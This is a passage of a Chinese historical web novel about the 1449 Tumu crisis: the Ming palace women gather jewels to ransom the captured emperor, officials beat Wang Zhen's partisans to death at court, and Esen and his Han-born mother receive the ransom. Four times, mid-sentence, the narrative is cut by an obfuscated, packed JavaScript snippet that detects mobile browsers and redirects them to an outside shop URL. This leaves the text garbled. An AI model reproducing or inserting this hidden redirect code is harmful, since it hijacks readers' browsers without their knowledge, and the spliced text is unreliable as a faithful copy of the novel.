周盼儿道:“郕王那个性子,你也是知道的,最是温和的一个人,从前见了谁都是客客气气的。如今虽是阴差阳错坐在这个位子上,但待我们母子,想来是不会差的。我和你说,钱娘娘得了消息,原想说是不是要搬出坤宁宫,让给郕王妃。郕王妃不肯,仍让她住在坤宁宫正殿,这是新帝后的态度了。” 万贞儿只是静静地听着,脸上保持着得体的微笑,适时点头,偶尔附和一句“娘娘说得是”“小爷是有福的”“最坏的时候过去,总会否极泰来”。心里却隐隐觉得,此一时彼一时,都难说得准。 既然从前疼爱她的爹娘都能把她丢下,那么人心易变,最终到底会成什么样,也未可知。不过这种没定数的事,没必要拿出来说。 万贞儿看着周盼儿眼睛下略青黑的痕迹,知道这段时间她的心里也是不好受的。 闲聊了一会儿,听得外间有宫人禀告,说钱皇后等人陆续来了。周盼儿连忙对镜整理了一下衣裳鬓发,走出去交际。 万贞儿则等候了一会儿,才抱着睡眼惺忪的小太子到摆宴的后殿去。 人已经到齐了,孙太后坐在上首,神色淡淡的,看不出太多悲喜。新帝朱祁钰坐在左下首,坐姿有些僵硬,背挺得笔直,双手规规矩矩放在膝上,还是从前做郕王的那副恭敬样子,甚至还多了一份小心翼翼,怕孙太后等人觉得他坐上龙椅就开始摆架子。 而吴太妃则坐在右侧,单独摆了一席。甚至连钱皇后都排在她席位之侧。这让这位向来低调惯的太妃很是不适应,来时看见席位立刻说,“我坐在那边吧”,还是孙太后发话,她才肯坐下的。旁边紧挨着新后汪氏。再往后才是钱皇后与周妃。 小太子的席位,正在新帝朱祁钰之侧。朱祁钰一侧首就能瞧见的位置。不过小太子年纪尚幼,无法一个人坐着,万贞儿就跟乳母王氏立在他身后,以便照顾。 一殿的人都沉默着,可以说脸上毫无喜色。最憔悴的当属钱皇后,穿着一件天青色皇后常服,鬓边除了一支玉簪再无其余装饰。脸上敷了粉,却盖不住浮肿的眼皮,显然是哭了不知多久。 膳□□美,却无人有心情品尝。 孙太后说了几句不痛不痒的场面话,要大家动筷,于是沉默地用起饭来。 勉强吃了一会儿,孙太后放下筷子,伤感道:“我们如今在这宴饮,不知太上皇在也先那里,可能吃得饱穿得暖。” 这一句话,令钱皇后的眼泪夺眶而出。 她忽然站起来,用沙哑的声音道:“皇爷。” 朱祁钰愣了一下,才意识到皇嫂是在喊他,手抖了一下,汤匙险些掉在碗里。他定了定神,才看向钱皇后:“皇嫂有何吩咐?” 眼泪从钱皇后的脸上扑簌簌落下,她想说些什么,开口就是哽咽,尝试了两次,都说不出话来,索性离席走向朱祁钰,隔了席面,站定了,忽而膝盖一屈,竟然是要跪下去! 朱祁钰吓得,一下子从椅子上弹起来,还撞了一下膝盖,疼得直咧嘴却也顾不得,赶忙去扶钱皇后。汪氏也立刻凑过来,夫妻两一左一右架着她,不肯让她跪下。 “皇嫂!你这是作甚?快起来。” “皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956474|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷,我求求你。”钱皇后泣不成声,断断续续道,“我听说也先要赎金才肯放人,我有,我有的,来人,拿上来!” 跟着她贴身伺候的宫女也是眼睛发红,立刻朝后边的人招手,两个内侍吃力地抬了一个大木箱子进来。 箱盖一打开,珠宝光气直晃人眼睛。纯金的首饰头面,大的如鸽卵,小的精巧玲珑,整匹的织金缎、妆花锦……怪道她今日打扮得如此素净,原来那些皇后才有的华贵头面,全收在了箱笼里。 “皇爷,求求您,都拿去,都拿去!”钱皇后指着那箱子,泣不成声,“派人送到也先那里去,求他放人,换太上皇回来!不够的话我再去库房凑凑。求求您了,皇爷。” 所有人都惊住了,连周盼儿都情不自禁站起来,目光发愣。 朱祁钰手足无措地站在那里,看着那箱璀璨夺目,却又刺眼无比的金银珠宝,偏头看着哭得几乎瘫软的钱皇后,脸上一阵红一阵白,半晌说不出完整的话来。只一个劲的说:“皇嫂你起来,你先起来。” 唯有犯困的小太子不解地看了大人们一眼,打了个哈欠,靠在万贞儿怀里闭上眼继续打盹。 万贞儿轻轻拍着小太子,瞥了上首的孙太后一眼。 她在孙太后身边伺候多年,多少了解些主子的心思,这场宴席真正的用意怕也在这里。 一直沉默的孙太后,此时长长地叹了一口气。离席走下来,扶住钱皇后。 “好孩子,哀家知道你有多担心太上皇,瞧瞧这眼睛,都哭成什么样了。其实,哀家又何尝不担心,那是我身上掉下来的肉啊!” 说着,落下一滴泪来。旁边的朱祁钰愈发无措。 孙太后顿了顿,目光转向朱祁钰,又看了看那箱子,缓缓道,“事到如今,什么皇帝,什么江山,哀家也不想了。哀家只求他能活着回来,平平安安地回来。日后做个富贵闲王,也就心满意足了。” 她擦了擦眼角的泪,道:“哀家这里也有些私藏,贞儿——” “奴婢在。”万贞儿连忙答应一声。 “你等会儿就领人将东西都理好,多凑些,不管如何,都是一个指望。” “奴婢遵命。” 事到如今,朱祁钰还有什么不明白的,立刻道:“请母后和皇嫂放心,我立刻与先生们说,连同我的私藏和内库金银都筹措些,给也先那边送去,望皇兄早日归来。” 他咬了咬薄唇,道:“只要皇兄能归来,一切都好,这江山,这位置,本就是皇兄的,我不过暂时看管着。等皇兄回来,从前怎么样,以后还是怎么样。” 12. 血色朝堂 孙太后脸上浮现出一种很复杂的神情,最后柔和地笑了笑,道:“我知道你是个好孩子。” 宴席散去,万贞儿先将小太子送回寝殿,嘱咐伺候宫人好生看管。然后匆匆走到清宁宫内库的位置,去清点金银细软。 为了瞧得更清楚,屋子里点了许多灯,在这样燥热的初秋,使得殿中愈发沉闷。 灯影瞳瞳里,孙太后静默坐在圈椅上,注视着万贞儿领着宫女将那些华美珍贵的首饰头面一点点取出。 万贞儿跟在她身边这么多年,对于太后所珍爱的珠宝头面,都是有数的。打开一个楠木匣,一整套嵌七宝金头面在灯光下闪耀夺目的光彩。定簪,挑心、分心、掩鬓、每一件都镶嵌着各色宝石。 她犹豫了一瞬,还是问:“这套头面留着吗?” 孙太后侧了侧首,认出那一套头面。是她生下朱祁镇那年,先帝爷特意为她打造的。多少年过去了,送这套头面的人已经离世,各色彩宝依旧璀璨夺目。 “不留了,都送去。”孙太后以平静的声音说道。 收拾了小半夜,除了太后的凤冠以及必要的维持体面的头面首饰,清宁宫多年的私藏尽数拿了出来。 万贞儿最后核对清单盖箱,都有些感伤。 这都是太后娘娘多年积攒下来的宝物啊,如今尽散了。并且很有可能是一去无回。 这样多口大箱子,在宫中宵禁解除后,便悄悄送至东宫。时间仓促,新年号、登基礼仪之类的还未议定,朱祁钰仍住在这里。 “你说送来了多少箱子?”宿在殿后直房的内臣成敬有些不可思议地问。 “加上钱娘娘那边送来的,总有四十一口箱子,太上皇的其余娘娘也凑了些送了过来。” 成敬一边听,一边披衣起身,匆匆赶到后边看。 未明的天色里,那些箱子静静堆放着,随便打开一口,里面装着的都是奇珍异玩。 孙老娘娘和钱娘娘她们的心意都在这里了。 成敬乃是朱祁钰从王府带来的内官,目前的情景,主子仍懵懂。真要将这些箱笼送至也先处,还需要主子和于谦等先生商量。 这其实是件麻烦事,但是老娘娘的态度摆在这里,从情理上无论如何也要运作一番。于是等主子起身后,成敬立刻禀告了这事。 朱祁钰拿了递上来的单子仔细看了,亦觉吃惊,吩咐道:“你等会儿先引于先生过来。” 成敬答应一声,立刻去了。 这几日于谦都是天蒙蒙亮就赶早进宫,成敬特意在路上等了等,瞧见他的身影,立刻上前问好。 于谦原本远远瞧见一个内臣领人拦住他的路,有些不耐烦。借着熹微的天色,瞧清了是成敬,脸色稍霁。 “思慕,你怎么在这里?怎么,是皇爷那边有事传召?”于谦问。 思慕是成敬的字,成敬原也是永乐年间的进士,后因为卷入汉王叛乱,被处以宫刑成了宦官,两人从前是旧相识。 “你一猜一个准。”成敬一面提起灯笼给他照路,一面低声说了孙太后设宴、收拾珠宝首饰的事。 于谦听了,颇为头疼。等见了朱祁钰,他索性直言:“当真要送那么多过去?皇爷,眼下这情景,也先就是收了也不会放人的。” 依他说,要是娘娘们真有这个心,不如把这些都变作军费。天知道也先什么时候领兵往这边打呢,还会带着朝廷的各色武器装备。想想都头疼。 朱祁钰低声道:“无论如何,总是一个念想。鞑子爱财,万一能有些用处呢?就算不能将皇兄送还,看在这些财宝的份上,也许会待他好些。老娘娘大约这样想的。” 他又补充道:“再有,我现在被架在这位置上,总不能刚刚开始,就把娘娘们当耳旁风啊。我也为难。” 于谦叹了口气:“臣明白了,会妥善安排这事。不过——” 他口风一转:“这些都是小儿女的心思,如今临危之际,皇爷还是要以政务为要,思虑如何使人心安定,使武备齐全。” “我知道,一定听先生们的。” 将这事安排妥当,朱祁钰松了一口气。匆匆吃了两口早膳,就赶去上朝。 今日是大朝会,众臣分班轮次站好,将要紧事一一奏来。只是这关口要紧事着实有些多,例如筹措军费,例如如何补充兵员,还有些麻烦事,比如也先使人带着太上皇,跑到大同城下,要求守将开门。 “守将罗亨信、郭登答约奉命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956475|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守城,不敢擅启闭,因此对面悻悻而归,也不知道这样处理是否妥当。”奏事的臣子瞥了一眼新帝。 其实守将们心里也忐忑,从前的天子在城门下喊开门,他们却不开,万一被宫里知道治罪了可如何是好。但是一旦开了城门,那就是引狼入室了,最终还是没开。 现在就看新帝的态度了,若认可,之后就引以为先例。 朱祁钰听见皇兄竟然在瓦剌的胁迫下叫门,也是一愣。他下意识看了一眼于谦,然而于谦只是专心致志地在看笏板。 这是要他拿主意。 朱祁钰咬了咬下唇,道:“守将思虑周全,也未必是太上皇,许是也先使人诡诈,日后多加防范。” 奏事的臣子明白了,立刻答应,然后忿忿道:“太上皇被小人所误,以至于到如此光景。可是,有些小人之流可还在这朝堂上站着呢!” 此言一出,如同水进油锅,满堂官员都炸了一般。从前王振及其党羽得势时没少得罪人,现在更是引来弥天大祸。随同太上皇出征的那么多人,总有些与堂上站着的官员沾亲带故,因此往大里说是误国之恨,往小里说是血仇。 附议之声四起,越来越激昂。 堂上站着的,从前王振的党羽脸色都不好看了。尤其是锦衣卫都指挥使马顺,他向来脾气爆,又嚣张惯了,这会儿被人指着鼻子,实在忍不住,大喝一声反驳道:“这一下子全是事后诸葛亮了,当日圣驾未出征之时,怎么就没有那么多贤臣呢?” 这句话,彻底捅了马蜂窝。 “狗攮的阉党,还敢狡辩,该死!” 马顺还没来得及回头看谁说话,一个笏板重重地、裹挟着风打在他脑袋上。一下、两下、三下,鲜血沿着笏板流下来,砸在金砖上。 紧接着更多大臣冲了过来,揪着王振的党羽往死里打。文官的笏板,武将的拳头,甚至腰间的玉带,雨点般朝那几个人砸去。 怒骂声、痛呼声、击打□□发出的沉闷声响,瞬间充斥了整个大殿。 御座之上的朱祁钰全然吓呆了,望着这群平常斯文有礼的大臣拳脚相加。 是真的往死里打,飞溅的血,濒死的痛呼,弥漫开的血腥气,充盈了整个朝堂。 13. 内讧 慌乱不堪的场面直到殿外的卫兵冲进来方才缓解。 王振一党所残留的几个党羽已经被揍倒在地上,有出的气没进的气。 坐在御座上的朱祁钰,掩在大袖之中的手仍颤抖着。瞧见场面稍稍安定,不忍看倒在血泊里的人,径直起身想要逃开这满是血腥味的场面。 于谦瞧见他的神态,当即上前拉住他的衣袖:“皇爷,事已至此,请诏令追究王振党羽之责。” 不能让他就这么走了,不然事后追究起来,事出无名,动手的大臣们也难圆其说。 朱祁钰只想逃开,匆匆丢下一句:“依卿所奏,自行处理。” 然后立刻快步往大殿后头走,险些被自己的袍角绊了一下,不要人扶,很快走出去。 一口气走出好远,回过神来,但见红墙夹道,中间镶嵌着云从密布的天。拂过肩头的风已然有一丝凉意。 后边的内侍成敬匆匆领人追上来,知道自家爷是被吓住了,不说其他,只从挑着茶担的宦官那里沏了一盏茶奉上:“皇爷累了罢,请用茶。” 朱祁钰接过茶盏,也顾不上什么礼仪了,仰头便喝。龙井茶香萦绕于鼻尖,终于将方才绕之不去的血腥味驱散开了些。 他惊魂未定,低声道:“怎么就能闹成这样。” 成敬叹息一声:“大家伙心里都憋着气呢,也好,闹出来了以后就安生些。” 道理是这个道理,只是……朱祁钰摇了摇头,未免太过激了些。 他循着宫墙缓缓走了一会儿,渐渐地从方才的恐惧中脱离,有心情想一想斗殴背后的事。 依照于谦刚才所请,去除王振一党是板上钉钉了。人一动,便会空出些位置,譬如那个锦衣卫指挥使的位置,再譬如王振党羽颇多的内廷各大监。 这倒也是个机会。他不得已被推上了这个位置,还是要扶些自己人上来才好。不然,万一再有像刚才那样的情况,没人护着他,那可就太糟糕了。 朱祁钰思量定,当即升成敬为内官监太监,掌管宫内各衙门事。 至于原本各衙门的王振党羽,该抓的就抓了。 朝堂上这次见血的冲突,迅速蔓延开来,无论前朝还是内朝,王振的余党纷纷被纠出来,或被打,或下狱,不一而足。 这样大的动静,自然也传到了后宫,连万贞儿都有所耳闻。 说是当殿打死了好几个人,血都淌在金砖上,人的脸都面目全非的。有胆小的宫人听了脸色都发白,颤抖着声音道,“也是有名头的大人们,说打死就打死了?” “可不,说打死就死了,不过也是他们活该!鼓弄皇爷出征,结果输成这样,弄得这月赏钱都发不出!” …… 纷纷乱乱各种言论,万贞儿只听,并不参与对话。前朝的事,血雨腥风也罢,总隔着一层。 不当值时,她就坐在屋子门前,给小太子绣衣裳。眼看秋冬就要来了,寒衣得开始预备起来。虽然手艺比不上尚衣局,但做几件贴身的里衣总是没问题的。 宫人庑房是一排排连接的低矮小房子,正是午后时分,不当值的宫人多午睡着,因此较为安静。 万贞儿细密地缝制了一圈衣裳,盯着针线久了,眼睛有些发散,于是伸伸懒腰,将手中绣了一半的里衣放下,起身去炉子上斟茶吃。 正倒水呢,忽然听见一阵急促到慌乱的脚步声,咚咚咚地响。这午休的工夫,谁这样杂乱?万贞儿回头,只见一个穿青袍的内侍跌跌撞撞冲过来,脸上又是汗又是泪,糊成一团,正是前些日子在铜炉边被众人恭维、给她端过茶的那个小内侍王福。 王福一见她,噗通就跪下了,连连磕头:“求姑姑救命,求姑姑救命。” 万贞儿被他这突如其来的举动弄得一怔,旋即反应过来,大概是清算王振党羽,牵连到了他。 “别这样子,起来慢慢说。”万贞儿道,“你虽后来有些借人家的势,但不过是个小角色,解释清楚该罚钱罚些,也就罢了。你没跟着他们做什么恶吧?” 王福直摇头,声音又尖又快:“我哪里能做什么恶啊,我连王公公——王逆贼的面都没正经见过。我一个大子的好处没得,倒贴了十两银子去打点门路。可是,可是谁听啊!” 他语无伦次起来,一把鼻涕一把泪:“姑姑你信我,我但凡做了一件坏事,就叫我下辈子也当阉人。” 万贞儿不知道如何作答,拉他起来:“行了,你到屋里说话。” “来不及了,”王福哭着,从衣裳里摸出一个蓝布包,不由分说往万贞儿手里塞,“这是我这些年攒下来的一点银钱,都在这里了,是预备给我娘养老的……我苦命的娘哦,她住在城南帽儿胡同尽头的一间小房,眼睛不好,你说是瞎婆婆,都知道的。万一姑姑有机会,请帮我给我娘。我给您磕头了!” 说着,又跪下来砰砰砰磕头,额头都红了。 “不是,你——” 万贞儿正欲开口细问,忽然听见一阵恶狠狠的声音。 “在那里,那个王八羔子在那儿!” “抓住他!别让他跑了!” “非打死他!” 几个面目陌生的宦官气势汹汹地冲了过来,看服色像是哪个监局的低等头目,脸上带着一种混合着亢奋与戾气的神情。 为首一人满脸横肉,眼神凶狠,伸手揪住王福,“嘭”的就给了他一拳。 万贞儿眼见着鼻血从王福脸上流下,不由得惊呼一声。 “放肆,你们做什么?” 那人扭头看她,见她穿戴应该是有些脸面的宫女,粗着声音说:“不干你事,我们捉拿王振余党!” 万贞儿凛声道:“捉拿王振余党乃是人心所向,无可厚非。可宫里也有宫里的规矩。他若真有罪过,也该由宫正司审问,查明之后有什么罪就判什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956476|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下场,哪有直接就要把人打死的?” 另一个冷哼一声:“伶牙俐齿,和一个妇人说不清,走,带他回去!” 说着就把王福扭着往外去。 那个满脸肉的在王福身上摸了一圈,骂道:“钱呢!” 显然,是冲着利来的。 王福只闭起嘴巴,任由拳头砸下不说话。 万贞儿瞧着心惊胆战,急道:“我虽为妇人,但也知道道理。王振怂恿太上皇出征,酿成如此局面,指不定哪日瓦剌就南下攻城。这种危急之秋,你们一味的拿着党派之别互相撕扯。今日你抓他,明日他告你,互相攀咬,残杀起来,自己先在宫里杀个血流成河,让外敌看笑话,觉得我大明无人,只剩内讧了吗?” 好个牙尖嘴利的娘们,大道理一套一套的。 满脸横肉的宦官恨得牙痒痒,但一时之间又找不到什么合理的话反驳,听见同伙在耳边提醒:“王福是不是把钱给这个宫女了?” 他眼睛溜溜一转,狞笑道:“我知道了,你也是王振的党羽!所以为他辩护!一并拿了,送到该去的地方,好好审审。” 说完,他一挥手,几个人同时上前,竟然是要连万贞儿一起拉去! 万贞儿自幼长在太后宫中,所见的也多是讲规矩之人,哪里见过这般只知道扣帽子的。又气又急,正要挣扎喊人,忽然听见一个清冷威严的女声。 “这也是王振党羽,那也是王振党羽,索性把本宫也抓起来,一并审问!” “本宫”两个字,让那几个宦官如同被施了定身法,动作僵在半空。脸上嚣张气焰立刻褪去,转为惊恐。 万贞儿寻声望去,竟然是朱祁钰的妻子,板上钉钉的皇后汪氏。 “娘娘饶命,我等不敢啊。”那几个宦官立刻伏地求饶,为首的抢着辩解:“我们正要捉拿王振余党,这个宫女百般阻挠,定然也是……” “住嘴。”汪皇后淡淡道,“我都听见了。宫女说的话,难道没道理?大敌当前,先内讧起来,能有什么好。来人,把这几个全都带到宫正司去,依律审问,有罪必罚,无罪不得攀咬。” 立刻有人上前,将人通通带走。 万贞儿向汪皇后行了个礼,道:“多谢娘娘,奴婢也去宫正司接受审问。” 汪皇后看了她一眼:“不必,我知道你。” “方才你所言,很有道理,回去,我也会向皇爷进言。” 万贞儿整理了一下情绪,挤出笑脸:“娘娘怎会到这里来?宫人住处嘈杂,是要去清宁宫吗?我陪您。” “刚路过,听见嘈杂声,正好瞧见你。”汪皇后道,“你的胆子也大,还据理力争。” 万贞儿有些不好意思笑了笑:“奴婢只是把内心所想说出来而已,说对的话,总是不怕的。” 汪皇后点头:“你说得很对,世间万物逃不开一个理字。总要依理办事才好。” 14. 草原上的风 汪秀英未出阁时,在家是跟着兄弟一起读圣贤书的,因此养成了个讲理的性子,觉得天道有常,万事万物都该按它的道理来。 初来宫廷遭此大变,忽而自己就成了皇后,让她有些不舒服。正愁找不着一个可以说话的人。这时候见着孙太后宫中这个曾引导过自己的宫女,亦识得道理,不由得起了几分亲近之心。 只是碍着身份有别,不好过于亲近。汪秀英瞥了瞥万贞儿匆匆搁在廊下凳子上的小衣,问:“是给小爷缝的?” 宫中这样大的孩子,又能劳动万贞儿动手,多半是小爷了。 万贞儿回头,见她感兴趣,忙递上来给她瞧:“是,手艺不好,您见笑了。” 汪秀英摸了摸那小衣,道:“针脚很缜密,还是翻过来朝外头的,这样就很好,我给大姐儿缝衣裳,也是这样。不求什么花儿、绣样好看,只怕有线勒着孩子。” 两人相视一笑,方才的紧张气氛尽数散了。 万贞儿笑道:“娘娘路过此地,是要去清宁宫么?若不嫌弃,我陪娘娘过去?” “这样也好。”汪秀英微微颔首,在万贞儿的陪同下走出去。 一路相伴着往前走,万贞儿也弄懂了她的来意。 原来汪皇后感念太后娘娘、钱娘娘千金赎人之举,自己也收拾了些首饰细软,想要一并送去,怕碍事,特来询问孙太后。 孙太后听说了她的想法,感慨道:“你这孩子倒是有心。” “本当如此,”汪皇后端坐在椅上道,“于公,太上皇乃是君,臣当为君忧;于私,那是兄长,做弟弟弟媳的该恭敬相助。” 孙太后微微一笑。道理是这个道理,无论汪氏是装出来的还是怎样,能做出这样子就很好。 彼此和颜悦色寒暄几句,孙太后还留汪皇后用膳,席间提起:“如今既然已成了这个局面,不如把你的大姐儿也接到宫里来。做娘的哪有不惦记孩子的。” 说到最后一句,语气有些惆怅。 汪皇后眼睛一亮,起身叩谢,并安慰道:“太后娘娘莫急,等也先收了财宝,说不准就放上皇回来了。” “但愿吧。” 满载金银珠宝的马车从紫禁城出发,一路向西。行到罕有人迹的大地原野之上,甚至依稀可见之前出征大军留下的极深的车轨。 押送马车的士兵瞧见那车轨,瞥过头去,只作瞧不见。当日天子率数十万大军浩浩荡荡走过此地时,绝想不到之后还有一队车队载着赎他的金银珠宝覆辙而过。 都过去了,只剩一地狼藉。 城镇换作了草地,这个时节,草色已黄。自紫禁城而来的马车于黄昏时分抵达也先大营的辕门。 “禀太师淮王,京城那边送赎金来了!好多车呢!” 营帐之中,才与手下议完事的也先闻言抬起了头,哈哈笑道:“诸位,一起开开眼界吧。” 马车以及押送马车的人被圈在大营中央的空地,穿着官袍的脸上带着一种羞愤的神色。 这神色也先近来瞧得多了,只觉欢喜,这是战败者见着胜利者屈辱又不得不臣服的神色,实在也算一种战利品。 他饶有兴趣的打量了一圈这些麻烦,招了招手,示意士兵揭开马车油布将箱子搬下来。 油布被层层掀开。 箱子被打开。 金灿灿的夕阳照在箱子上,可此时没有人在意那夕阳,全部注意力都被整箱的宝物所吸引,码放得整整齐齐的金锭,折射出火彩的玛瑙翡翠各色宝石,晚风中熠熠生辉的丝绸锦缎…… 营地里响起惊叹声。瓦剌士兵们睁大眼睛,有些人下意识往前凑,被小军官一推推回去,才意识到并非是梦。他们一生在草原上驰骋,见过最华贵的东西不过是首领帐篷里的几件金银器皿,何曾见过这样的堆积如山的金银珠宝? 也先缓步走上前,随手从箱中抓起一把珍珠。那些珍珠颗颗浑圆,泛着柔润的虹彩,不知是从哪片遥远的海洋由采珠女舍命捞上来的。 也先一松手,珍珠从他指缝间滑落,叮叮当当地落回箱中,声音清脆得不像人间之物。 “看见了吗?这就是汉人们的宝物。在北京城,在紫禁城,还有更多成箱成箱的宝物!都等着你们去取!” 也先大声向左右人道,“我的儿郎们,加紧操练吧!这些宝物,都在前头等着你们呢!” 这样煽动人心的话,立刻燃起了瓦剌士兵们的心。 “杀!” 顿时,杀声震天。 赏给士兵们好酒好肉之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956477|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,也先转身,吩咐人抬了最好的一箱珠宝首饰和一箱绸缎,往他的母亲营帐中去。 “额吉,你看儿子给你带来了什么!” 也先笑着走进帐中。 一个五十来岁的妇人回首,一双老去的美人眼睛静静望着她的孩子也先。正是也先的母亲,敏答失力。 “怎么了,我的孩子?” 也先迎上前,搀扶住母亲的手臂。这个手上沾染过无数鲜血的男子此刻动作却很轻柔。 “这是明朝送来的赎金的一部分,很漂亮的首饰和丝绸,我想你会喜欢。” 敏答失力的目光掠过那些金银珠宝,却没有停留。她的视线最终落在那箱丝绸上。她走过去,伸手抚摸最上面的一匹杏黄锦缎,触感细腻冰凉。 “这样好的丝绸,得要那种很大的织机才能织成。”静默一会儿之后,敏答失力终于开口说话。 也先不解:“哦?织机也有大小?” “有呢,大的要一整间屋子才能放得下,”敏答失力回忆道,“寻常人家,能有一架小小的就不错了。纺起来嘎吱嘎吱地响,还得上油呢。” 她闭上眼,久违了的那种菜籽油的味道似乎要从记忆里挣扎出来。多少年前的事了?仿佛像是上辈子。那时候她还不叫敏答失力,不是也先的母亲,前任首领的女人。 那时候她的名字叫作周敏,是苏州城一家小户人家的女儿。十五六岁,遵父母之言媒妁之命成了亲,跟着戍边的丈夫到北疆。一个平凡的一天,瓦剌人袭边,杀了她的丈夫,将她掳走。 幸亏还有一张好颜色的脸,在陌生的草地上令她挣扎着活了下来。把他乡做故乡。 “额吉?” 也先的声音把她唤回来。敏答失力笑一笑:“没事,这丝绸太舒服了。” 她定了定神,仔细翻了翻那箱珠宝,心里有了数。 这些上了年纪才喜欢戴的雕刻佛祖头面之类的,多半是皇帝的娘的私藏。 可怜天下父母心。 敏答失力道:“我带着这几样,去见见那位皇帝吧。” “见他做什么?” 敏答失力轻轻呵了一声:“就当是,让我给故国的君主行个礼。再有,你不也想试探一下他到底在想什么吗?” 15. 年轻皇帝 也先定定看了看母亲一会儿,笑了:“也好,额吉向来聪慧。说起来,你也算是这人的救命恩人呢。” 说的是明朝皇帝刚被他们抓到时候的事。 说起来瓦剌人都觉得非常意外,竟然能够逮到一位御驾亲征的皇帝。 真是件稀奇的事。 这个身份贵重的年轻人被团团围住,身上的锦衣沾着一点暗红的血色,应该是护着他的某位将军或者大臣的血迹,至于他本人,则奇迹般地毫发无伤。那张年轻俊美的脸上,此刻却布满着一种茫然的、近乎空洞的神情。他眼睛看着前方,却又好像什么都没看见,目光没有焦点,像是在做一个醒不过来的噩梦。 瓦剌士兵围了上来,他们起初只是好奇,因为这个人的气质太过显眼。 大约是某个高官家的儿子?听说这次有许多贵族出征。 然而他身边投诚的宦官说,这是天子。 大明天子? 消息传开,很快,也先亲自赶了过来。 也先饶有兴致地打量了一会儿这个年纪足以做自己儿子的明朝皇帝。 太年轻了,也先心想。年轻当然有好处,有锐气,有冲劲,可太年轻了就是有一点不好,容易冲动,容易轻信,容易在关键时刻做出愚蠢的决定。 耳边除了嘈杂的庆功声,还有别的声音。 “杀了他!祭奠我们死去的勇士!”一位瓦剌贵族挥舞着大刀要上前,刀刃在阳光下闪着寒光,眼看着靠近这位年轻皇帝。 年轻皇帝身边持兵刃的都被杀了,只有一个头发花白、面上无须、穿蟒袍的老者,约莫是个宦官,一直跟在皇帝身边。此刻见刀砍来,老宦官发出一声悲鸣,喊了句什么,然后竟然直愣愣冲着刀口撞了上去! 刀刃切入血肉的声音,沉闷而清晰。刀子细小的豁口上沾染肉末。 血溅出来,大团大团,浇在青青绿草上。 老宦官的身体晃了晃,眼睛还睁着,看向年轻皇帝,嘴唇翕动,似乎还想说什么,却发不出声音了。然后他软软地倒下,像一截被砍断的枯木。 年轻皇帝下意识去扶那老宦官,手接住身体的一刻,再也承受不住似的,跪坐在地上。 也许是以为自己要死了,在这最后的时刻,他闭上了眼,喃喃喊了一句“娘”。 前面那老宦官喊的什么,也先没听懂,但是这一句娘倒是听明白了。 很小的时候,在草原的深夜里,他的母亲敏答失力也曾这样哭过。那时他还小,睡在母亲身边,迷迷糊糊中听见压抑的啜泣,还有用汉语反复念叨的“娘”。 也先皱了皱眉。 旁边的人立刻道:“行了,太师淮王还没说话呢。弄得血淋淋的,搞什么。” “就是,你就是想抢占杀了他的功劳吧!不许动刀了!” 乱糟糟的,一位瓦剌贵族同也先说:“这个人乱军之中竟然分毫不伤,是有些气运的,不好立刻杀掉。” 也先沉默了片刻,看着跪坐在血泊中的年轻皇帝,他仍然闭着眼,睫毛不住颤抖,脸色苍白得像纸,怀里抱着那个已经死去的宦官,姿势僵硬。 气运?也先心里冷笑。或许吧。但更重要的是,好不容易逮住这尾大鱼,就这样杀掉,岂不是太可惜了?五十万大军覆灭,明朝北方防线空虚,正是千载难逢的机会。留着这个皇帝,说不定能发挥更大的作用。 就是要弄死他,也得最大程度发挥点作用。 “带回去。”也先挥了挥手,下了命令,“好生看管起来。捆住他的嘴,绑住手脚,以防他咬舌自尽或者撞墙,不许他死。” 于是把人押着带回了营地,叫人好生看管起来。 也先自己则召集了一批人,讨论要如何处置这位大明天子。 金帐里吵吵嚷嚷,各人有各人的意见,听起来的似乎都有道理。也先正发愁怎么处置好。他的母亲过来见他了。 “杀人容易,可若真杀了,那就是和大明结下死仇了。那边有一句老话,君臣父子,君王被杀,便是拼了命也得报仇,不然会给人戳脊梁骨的。我们此刻真的做好了与他们不死不休的打算吗?” 